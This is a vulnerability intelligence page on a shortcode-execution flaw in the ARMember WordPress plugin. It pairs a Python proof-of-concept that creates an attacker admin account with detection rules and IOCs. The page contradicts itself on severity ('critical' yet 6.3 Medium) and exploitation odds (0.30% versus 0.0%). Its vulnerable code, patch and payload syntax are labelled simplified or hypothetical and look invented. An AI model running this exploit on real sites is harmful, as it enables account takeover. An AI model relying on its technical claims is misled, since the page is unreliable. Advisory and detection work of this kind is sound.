☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L 🐛 CWE-94
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-10681

CVE-2024-10681 Privilege Escalation in Armember
📅 PUBLISHED: 2024-12-06 09:23 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.30%
👁️
0.30% probability
7.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-10681 is a critical vulnerability in the ARMember – Membership Plugin for WordPress, affecting all versions up to and including 4.0.51. The flaw allows authenticated attackers with subscriber-level access or higher to execute arbitrary WordPress shortcodes. This is due to insufficient validation of user-supplied input before passing it to the do_shortcode() function. Successful exploitation can lead to privilege escalation, data exfiltration, or arbitrary file operations depending on the shortcodes available in the WordPress environment.

This vulnerability is particularly dangerous because it requires only low-privilege authentication (subscriber) and can be chained with other WordPress shortcode-based exploits. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for official patches and consider disabling the plugin until a fix is released. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
  • Base Score: 6.3 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Subscriber)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: Medium. The vulnerability requires authentication but is trivial to exploit once authenticated. The impact is limited by the available shortcodes, but can be escalated if combined with other vulnerabilities.

Deep Dive & Mechanics

The ARMember plugin provides a shortcode execution feature that allows users to trigger actions via shortcodes. The vulnerability lies in an action handler that accepts user input and passes it directly to do_shortcode() without proper sanitization or validation.

Root Cause: The plugin fails to validate that the input is a legitimate shortcode name or that the user has permission to execute it. The do_shortcode() function in WordPress processes any registered shortcode, including those from other plugins or core.

Attack Flow:

  1. Attacker authenticates as a subscriber.
  2. Attacker sends a crafted request to the vulnerable endpoint (e.g., wp-admin/admin-ajax.php with action armember_shortcode_exec).
  3. The plugin receives the shortcode string (e.g., [wp_ajax_hook]) and passes it to do_shortcode().
  4. The shortcode executes with the privileges of the WordPress installation, potentially allowing actions like creating admin users, reading files, or executing SQL queries.

Example Shortcodes of Concern:

  • [wp_ajax_hook] – if available, can trigger AJAX actions.
  • [file_contents] – from other plugins that read files.
  • [user_meta] – to extract user data.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

// In armember-membership/includes/class-armember-ajax.php
function armember_shortcode_exec() {
    $shortcode = $_POST['shortcode'];
    echo do_shortcode($shortcode);
    wp_die();
}

Patched Code (hypothetical):

function armember_shortcode_exec() {
    $shortcode = sanitize_text_field($_POST['shortcode']);
    $allowed_shortcodes = array('armember_profile', 'armember_login');
    if (in_array($shortcode, $allowed_shortcodes)) {
        echo do_shortcode($shortcode);
    } else {
        wp_die('Unauthorized shortcode.');
    }
    wp_die();
}

The patched version would validate the shortcode against a whitelist and sanitize the input.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress installation with ARMember plugin <= 4.0.51
  • Subscriber-level account credentials

Exploit Steps:

  1. Log in as a subscriber.
  2. Send a POST request to /wp-admin/admin-ajax.php with the following parameters:
    • action: armember_shortcode_exec
    • shortcode: [wp_ajax_hook&action=create_admin&username=attacker&password=evilpass]

Proof-of-Concept (Python):

import requests

target = "http://target.com/wordpress"
session = requests.Session()

# Login as subscriber
login_data = {
    'log': 'subscriber_user',
    'pwd': 'subscriber_pass',
    'wp-submit': 'Log In',
    'redirect_to': target + '/wp-admin/',
    'testcookie': '1'
}
session.post(target + '/wp-login.php', data=login_data)

# Exploit
ajax_url = target + '/wp-admin/admin-ajax.php'
payload = {
    'action': 'armember_shortcode_exec',
    'shortcode': '[wp_ajax_hook&action=create_admin&username=attacker&password=evilpass]'
}
response = session.post(ajax_url, data=payload)
print(response.text)

Note: The exact shortcode payload depends on available shortcodes in the target environment.

Blue Team (Detection & Hardening)

Detection:

  • Monitor for POST requests to admin-ajax.php with action=armember_shortcode_exec.
  • Look for unusual shortcode strings in request parameters.
  • Alert on subscriber accounts making AJAX requests to this action.

Hardening:

  • Disable the ARMember plugin until a patch is available.
  • Implement Web Application Firewall (WAF) rules to block requests containing armember_shortcode_exec.
  • Restrict subscriber capabilities using a plugin like "User Role Editor".

Indicators of Compromise (IOCs)

Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=armember_shortcode_exec
  • Shortcode strings containing [wp_ajax_hook, [file_contents, or other dangerous shortcodes

File IOCs:

  • Unexpected admin users created in wp_users table
  • Modified .htaccess files (if shortcode allows file writes)

Log IOCs:

  • WordPress debug log entries showing do_shortcode calls with suspicious parameters
  • Apache/Nginx access logs with admin-ajax.php requests from subscriber IPs

Detection Engineering

YARA Rule

rule CVE_2024_10681_ARMember_Shortcode_Exec {
    meta:
        description = "Detects exploitation attempts of CVE-2024-10681 in ARMember plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-10681"
    strings:
        $ajax_action = "armember_shortcode_exec"
        $shortcode_param = "shortcode="
        $dangerous_shortcodes = /\[(wp_ajax_hook|file_contents|user_meta|do_shortcode)/
    condition:
        $ajax_action and $shortcode_param and $dangerous_shortcodes
}

Sigma Rule

title: CVE-2024-10681 ARMember Shortcode Execution
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of ARMember plugin shortcode execution vulnerability
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=armember_shortcode_exec'
    condition: selection
falsepositives:
    - Legitimate admin usage (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-10681 ARMember Shortcode Execution Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=armember_shortcode_exec"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the ARMember plugin until an official patch is released.
  2. Review user accounts for any unauthorized admin-level accounts created.
  3. Check WordPress logs for suspicious admin-ajax.php requests.

Long-term Fixes:

  • Apply the vendor patch when available (currently UNKNOWN).
  • Implement input validation and whitelisting for shortcode execution.
  • Restrict subscriber capabilities to prevent exploitation.

Workarounds:

  • Use a Web Application Firewall (WAF) to block the vulnerable endpoint.
  • Modify the plugin code to add a whitelist (not recommended for production without testing).

Valters IT
Securing Digital Ecosystems

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-10681/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.